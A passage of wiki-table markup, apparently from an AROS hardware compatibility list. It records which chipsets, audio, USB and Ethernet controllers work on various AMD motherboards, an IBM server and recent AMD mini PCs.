| &lt;!--Ethernet--&gt;{{maybe|rtl8169}}
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit amd 1772 hawk point2 6c12t zen4 avx512 FP7 socket with FCH51 - 16gb ddr5 - 
|-
| &lt;!--Name--&gt;AMD Ryzen AI Halo Developer Platform Workstation 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - amd ryzen AI Max+ 395 (16c32t) - 
|-
| &lt;!--Name--&gt;GMKtec EVO-X1 PRO 
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;nvme
| &lt;!--Gfx--&gt;AMD 890M with HDMI 2.1 and DP 2.1 
| &lt;!--Audio--&gt;HDAudio 
| &lt;!--USB--&gt;USB4 40G and USB3 10G 
| &lt;!--Ethernet--&gt;2xIntel  
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - AMD Ai 9 HX 470 Gorgon Point 12c 24t - 19v 120w - DDR5 - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;AMD 8065S
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;2026 64bit - AMD Ai MAX+ 495 Gorgon Halo - 
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|}


===Server Systems===

[[#top|...to the top]]

====IBM====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;15%&quot; |Name
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Integrated Gfx
! width=&quot;10%&quot; |Audio
! width=&quot;10%&quot; |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;15%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| &lt;!--Name--&gt;xSeries 206m
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{yes}}
| &lt;!--Gfx--&gt;{{Maybe|ATI RN50b (VESA only)}}
| &lt;!--Audio--&gt;{{n/a}}
| &lt;!--USB--&gt;{{yes|USB 2.0 (UHCI/EHCI)}}
| &lt;!--Ethernet--&gt;{{no|Broadcom}}
| &lt;!--Test Distro--&gt;Nightly Build 2014-09-27
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
|}


===Motherboard===

[[#top|...to the top]]


* Late 2002, USB2.0 added and slightly better AROS sound support (AC97) appeared 
* 2002-2005 and still, to a limited extent, ongoing [http://en.wikipedia.org/wiki/Capacitor_plague bad capacitors] 
* Late 2003, ATX PSUs moved from 5V to 12v rails (extra 4pin on motherboard for CPU) 


* Late 2005, PCI Express replaced AGP and HDAudio replaced AC97 
* Late 2007, ATX PSUs added extra 12V PCI-E connectors and 4+4pin for CPUs 
* Late 2010, USB3.0 appears on motherboards or needing a PCI-E motherboard slot 

* Late 2014 Hardware USB2 removed from USB3 chipsets 


====AMD Sockets====

[[#top|...to the top]]


=====Socket 7 (1997/1999)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;1997 VT82C586B (QFP-208) is the first from VIA with DDMA
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;2000 VT82C686 has close to excellent DDMA support
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;SiS 5581/5582
SiS 5591/5595
SiS 530 /5595
SiS 600/5595
SiS 620/5595
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|}


=====Socket A 462 (2001/4)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;[http://www.sharkyextreme.com/hardware/motherboards/article.php/2217921/ABIT-NF7-S-nForce2-Motherboard-Review.htm Abit NF7-S] 
| &lt;!--Chipset--&gt;nForce 2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;SIL 3112A  
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC650 AC97 (Nvidia APU)}}
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;Realtek RTL 8201LB  
| &lt;!--Opinion--&gt;Firewire Realtek RTL8801B 
|-
| &lt;!--Name--&gt;ASRock K7NF2
| &lt;!--Chipset--&gt;nforce2 ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{yes|AGP 8x}}
| &lt;!--Audio--&gt;CMedia CMI 9761A AC'97
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;Realtek 8201 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock K7S8X
| &lt;!--Chipset--&gt;SIS 746FX 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{yes|AGP 8x}}
| &lt;!--Audio--&gt;{{yes|AC'97 cmedia}}
| &lt;!--USB--&gt;{{maybe|USB2.0 works but does not boot}}
| &lt;!--Ethernet--&gt;{{yes|SiS900}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASRock K7S41GX
| &lt;!--Chipset--&gt;SIS 741GX + DDR 333
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|onboard sis does not work with vga or vesa but AGP 8x works}}
| &lt;!--Audio--&gt;{{yes|AC97 SIS 7012}} 
| &lt;!--USB--&gt;{{maybe|USB2.0 works but does not boot}}
| &lt;!--Ethernet--&gt;{{yes|SiS 900}}
| &lt;!--Opinion--&gt;works ok
|-
| &lt;!--Name--&gt;[http://www.asus.com ASUS A7N8X] 
| &lt;!--Chipset--&gt;nForce2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;Silicon Image Sil 3112A
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;{{yes|ac97 ALC650}}
| &lt;!--USB--&gt;{{yes|ehci USB2.0}} 
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}}
| &lt;!--Opinion--&gt;first total support for AROS in 2004/5 - damocles and M Schulz 
|-
| &lt;!--Name--&gt;Biostar M7NCD
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|ALC650 AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{yes|RTL8201BL}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Chaintech 7NJS Ultra Zenith
| &lt;!--Chipset--&gt;nForce2 Ultra 400
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Promise PDC 20376  
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|CMI8738}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;DFI Lanparty NF2 Ultra
| &lt;!--Chipset--&gt;nForce2 Ultra 400
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|via ac97 VT1616}} 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTL8139C 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ECS N2U400-A
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}} 
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|Cmedia 9379A AC97}} 
| &lt;!--USB--&gt;{{yes|usb2.0}}
| &lt;!--Ethernet--&gt;{{no|VIA VT6103L}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Gigabyte GA7N400L
| &lt;!--Chipset--&gt;nForce2 Ultra 400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 AGP 8x slot
| &lt;!--Audio--&gt;{{yes|AC97 ALC650}}
| &lt;!--USB--&gt;2 USB2.0 
| &lt;!--Ethernet--&gt;RTL8100C
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://www.gigabyte.lv/products/page/mb/ga-8siml Gigabyte 8SIML] 
| &lt;!--Chipset--&gt;SIS 650
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{maybe|VESA}} 
| &lt;!--Audio--&gt;{{yes|AC'97}}
| &lt;!--USB--&gt;{{maybe|working}}
| &lt;!--Ethernet--&gt;{{no|Realtek RTL8100L LAN}} 
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Matsonic [http://www.elhvb.com/mobokive/archive/matsonic/manual/index.html Manuals] MS83708E
| &lt;!--Chipset--&gt;SIS730 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|SiS 5513}} 
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{maybe|sis 305 no support use VESA}} 
| &lt;!--Audio--&gt;{{no|sis7018}} 
| &lt;!--USB--&gt;{{no|SiS 7001 USB 1.1 only}} 
| &lt;!--Ethernet--&gt;{{yes|SIS900}} 
| &lt;!--Opinion--&gt;little support 
|-
| &lt;!--Name--&gt;[http://h10025.www1.hp.com/ewfrf/wc/document?docname=bph07585&amp;lc=en&amp;dlc=en&amp;cc=us&amp;dest_page=softwareCategory&amp;os=228&amp;tool=softwareCategory&amp;query=Pavilion%20742n&amp;product=89232 MSI MS-6367 HP 722n 742n (Mambo) (2001/2)] 
| &lt;!--Chipset--&gt;Nvidia nforce 220D (2001/2) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;GeForce2 AGP works 2D nouveau only 
| &lt;!--Audio--&gt;{{Maybe|AC97 ADI 1885 no volume control on Units 0-3}}
| &lt;!--USB--&gt;{{Yes|4 USB1.1 ports AMD based - front 2 ports iffy}}
| &lt;!--Ethernet--&gt;{{No|nForce}}
| &lt;!--Opinion--&gt;Tested 20th Aug 2012 NB 
|-
| &lt;!--Name--&gt;MSI K7N2 [http://us.msi.com/index.php?func=proddesc&amp;maincat_no=1&amp;prod_no=546/ Delta ILSR] Delta-L 
| &lt;!--Chipset--&gt;nForce2 (2002/3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|Primary &amp; Secondary ports}} IDE Tertiary port (RAID) 
| &lt;!--SATA--&gt;2 ports (RAID) 
| &lt;!--Gfx--&gt;{{yes|when fitted with an agp video card}} 
| &lt;!--Audio--&gt;{{yes|ac97 ALC650}} 
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}} 
| &lt;!--Opinion--&gt;runs AROS well. Tested with Icaros 1.2.3
|-
| &lt;!--Name--&gt;MSI K7N2 Delta2-LSR Platinum  
| &lt;!--Chipset--&gt;nForce2 (2002/3) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|Primary &amp; Secondary ports}} IDE Tertiary port (RAID) 
| &lt;!--SATA--&gt;2 ports (RAID) 
| &lt;!--Gfx--&gt;{{yes|when fitted with an agp video card}} 
| &lt;!--Audio--&gt;{{No|ac97 ALC655}} 
| &lt;!--USB--&gt;{{yes}}
| &lt;!--Ethernet--&gt;{{yes|rtl8201BL - nforce}} 
| &lt;!--Opinion--&gt;runs AROS well. Tested with Icaros 1.2.3
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;[http://www.sharkyextreme.com/hardware/motherboards/article.php/2204281/Soltek-SL-75MRN-L-nForce2-Motherboard-Review.htm Soltek 75FRN-L] 
| &lt;!--Chipset--&gt;nForce2 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|2 ports}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;AGP slot 
| &lt;!--Audio--&gt;{{yes|ALC650}} 
| &lt;!--USB--&gt;{{yes|2 usb2.0}}
| &lt;!--Ethernet--&gt;{{yes|Realtek RTL8201BL}} 
| &lt;!--Opinion--&gt;good support 
|-
| &lt;!--Name--&gt;[http://www.3dvelocity.com/reviews/mach4nf2ultra/mach4.htm XFX Pine Mach4 nForce2 Ultra 400] 
| &lt;!--Chipset--&gt;nForce2
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|3 ports}}
| &lt;!--SATA--&gt;{{maybe|2 ports VIA VT6240}}
| &lt;!--Gfx--&gt;1 AGP 8x slot 
| &lt;!--Audio--&gt;{{yes|ALC650}}
| &lt;!--USB--&gt;{{yes|2 USB2.0}}
| &lt;!--Ethernet--&gt;{{yes|RTL8201BL}}
| &lt;!--Opinion--&gt;some support 
|-
| &lt;!--Name--&gt;ASUS A7V266 
| &lt;!--Chipset--&gt;via KT266A + 8233 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{no|issues}}
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;AC97 with AD1980 codec 
| &lt;!--USB--&gt;via 8233 
| &lt;!--Ethernet--&gt;VIA VT6103 
| &lt;!--Opinion--&gt;2002 issues with booting 
|-
| &lt;!--Name--&gt;Asus A7V8X-X
| &lt;!--Chipset--&gt;VIA KT400 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{unk| }}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{yes|agp}}
| &lt;!--Audio--&gt;{{unk|AC97 with ADI AD1980 codec}}
| &lt;!--USB--&gt;{{unk|VIA 8235}}
| &lt;!--Ethernet--&gt;{{unk|Realtek 10/100}}
| &lt;!--Opinion--&gt;2003 not booting for Socket A for AMD Barton/Thoroughbred/Athlon XP/Athlon/Duron 2.25+ GHz CPU - 3 x DDR DIMM Sockets Max. 3 GB - 
|-
|}


=====Socket 754 (2004/5)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Abit NF8-V2 
| &lt;!--Chipset--&gt;nForce3 250GB (2004/5)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|2 ports}}
| &lt;!--SATA--&gt;{{maybe|2 ports}} 
| &lt;!--Gfx--&gt;1 AGP slot x8
| &lt;!--Audio--&gt;ALC658 ac97
| &lt;!--USB--&gt;{{yes|2 USB2.0}} 
| &lt;!--Ethernet--&gt;{{no|RTL8201C}}
| &lt;!--Opinion--&gt;a little support but no Firewire VIA VT6306
|-
| &lt;!--Name--&gt;Biostar CK8 K8HNA Pro 
| &lt;!--Chipset--&gt;nforce3 150 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;VT6420 thru ide legacy only 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|AC97 ALC655}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8110S 
| &lt;!--Opinion--&gt;Firewire VT6307 no 
|-
| &lt;!--Name--&gt;[http://www.extremeoverclocking.com/reviews/motherboards/Chaintech_ZNF3-150_3.html Chaintech ZNF3-150 Zenith] 
| &lt;!--Chipset--&gt;nforce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;{{maybe|Sli3114 SATA via IDE emul}}
| &lt;!--Gfx--&gt;1 AGP slot 
| &lt;!--Audio--&gt;{{no|VIA Envy24PT (VT1720) + VT1616}}
| &lt;!--USB--&gt;{{Maybe|2 USB2.0}}
| &lt;!--Ethernet--&gt;{{no|Broadcom GbE 5788}}
| &lt;!--Opinion--&gt;very little support needs PCI cards but no Firewire VIA VT6306
|-
| &lt;!--Name--&gt;DFI Lanparty UT nF3 250GB 
| &lt;!--Chipset--&gt;nForce3 250gb
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;{{maybe|2 ports nForce3 and 2 Marvell SATA PHY}} 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{yes|AC97 ALC850}} 
| &lt;!--USB--&gt;{{Maybe|2 USB2.0}} 
| &lt;!--Ethernet--&gt;CK8S - Winfast NF3 250K8AA works and Marvell 88E1111 does not work
| &lt;!--Opinion--&gt;2005 some support but no Firewire VIA VT6307
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Gigabyte GA-K8N
| &lt;!--Chipset--&gt;NVIDIA nForce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek ALC658 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Realtek RTL8100C
| &lt;!--Opinion--&gt;Firewire TI43AB23 no 
|-
| &lt;!--Name--&gt;Gigabyte K8NNXP
| &lt;!--Chipset--&gt;nForce3 150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sata sil3512 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC658 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;RTl8110S 
| &lt;!--Opinion--&gt;Firewire TI STB82AA2 no 
|-
| &lt;!--Name--&gt;Gigabyte GA-K8NSNXP 
| &lt;!--Chipset--&gt;nForce3 250GB
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;SiI 3512 CT128 Sata Sil3515
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC850 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvel 88E8001}} 
| &lt;!--Opinion--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;MSI K8N Neo-FIS2R 
| &lt;!--Chipset--&gt;nVIDIA NF3-250Gb 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;Realtek 7.1 AC'97 ALC850 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{No|Marvell 88E1111}} 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;[http://techreport.com/articles.x/5748/1 Shuttle AN50R] 
| &lt;!--Chipset--&gt;nF3-150
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;Sil 3112 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;ALC650 AC97 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Nvidia nF3 (10/100) Intel 82540EM Gigabit 
| &lt;!--Opinion--&gt;Firewire VT6307 no 
|-
| &lt;!--Name--&gt; Foxconn WinFast K8S755A
| &lt;!--Chipset--&gt;SiS755 + SiS964 (DDR333) 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt; {{yes|AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt; {{yes|RTL8169}}
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
|}

=====Socket 939 (2005)=====

{| class=&quot;wikitable sortable&quot; width=&quot;90%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |ACPI 
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;5%&quot;  |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;10%&quot; |Ethernet
! width=&quot;30%&quot; |Opinion
|-
| &lt;!--Name--&gt;Asus A8N-LA GeForce 6150 LE 
| &lt;!--Chipset--&gt;Geforce 6150 (MCP51) + nForce 430 (PC-3200)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;{{yes|two ATA 133}} 
| &lt;!--SATA--&gt;{{maybe|four 3.0GB/s SATAII ports}} 
| &lt;!--Gfx--&gt;built in or PCI-E x16 
| &lt;!--Audio--&gt;Realtek ALC883 HD Audio 
| &lt;!--USB--&gt;6 USB2.0 
| &lt;!--Ethernet--&gt;Realtek RTL 8201CL 
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;Asus A8N-SLI Premium 
| &lt;!--Chipset--&gt;NVidia 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;{{Yes|PCIe slot}}
| &lt;!--Audio--&gt;{{Yes|AC97}}
| &lt;!--USB--&gt;{{Maybe}}
| &lt;!--Ethernet--&gt;{{Yes|nForce LAN but not Marvell}} 
| &lt;!--Opinion--&gt;Works well 
|-
| &lt;!--Name--&gt;DFI nF4 Ultra-D LanParty - Diamond Flower International sold to BenQ group 2010 
| &lt;!--Chipset--&gt;nF4 
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;2 ports 
| &lt;!--SATA--&gt;4 ports SATA 2 
| &lt;!--Gfx--&gt;2 PCIe x16 slots  
| &lt;!--Audio--&gt;AC97 with ALC850 codec 
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;Dual Gigabit Ethernet, PCIe by Vitesse VSC8201 PHY nee Cicada 8201, PCI by Marvel 88E8001
| &lt;!--Opinion--&gt;2006 64bit - Four 184-pin DDR Dual-Channel Slots - 1 pci on Ultra, 2 pci on sli, 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || ACPI || IDE || SATA || Gfx || Audio || USB || Ethernet || Opinion
|-
| &lt;!--Name--&gt;Asus A8V E SE 
| &lt;!--Chipset--&gt;VIA K8T890 +VT8237R CHIPSET ATX AMD Motherboard with Athlon 64 X2 / Athlon 64 FX / Athlon 64 
| &lt;!--ACPI--&gt;{{N/A}}
| &lt;!--IDE--&gt;{{Yes}}
| &lt;!--SATA--&gt;{{N/A}}
| &lt;!--Gfx--&gt;{{N/A}}
| &lt;!--Audio--&gt;{{Maybe}} AC97 driver using Realtek ALC850 codec 
| &lt;!--USB--&gt;{{Yes}} USB 2.0 only 
| &lt;!--Ethernet--&gt;{{No}} Marvell 88E8053 
| &lt;!--Opinion--&gt;Good base but needs additional PCI cards added for better support 
|-
| &lt;!--Name--&gt;
| &lt;!--Chipset--&gt;
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt;ASUS A8V Deluxe (2004) 
| &lt;!--Chipset--&gt;VIA K8T800 Pro (DDR400)
| &lt;!--ACPI--&gt;
| &lt;!--IDE--&gt;Promise 20378 2 ports 
| &lt;!--SATA--&gt;2 SATA2 
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;{{no|VIA VT8233A 8235 8237 AC97}}
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;{{no|Marvell 88E8001 Gigabit}}
| &lt;!--Opinion--&gt;needs extra PCI cards
|-
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
| &lt;!--Audio--&gt;
| &lt;!--USB--&gt;
| &lt;!--Ethernet--&gt;
| &lt;!--Test Distro--&gt;
| &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;
| &lt;!--IDE--&gt;
| &lt;!--SATA--&gt;
| &lt;!--Gfx--&gt;
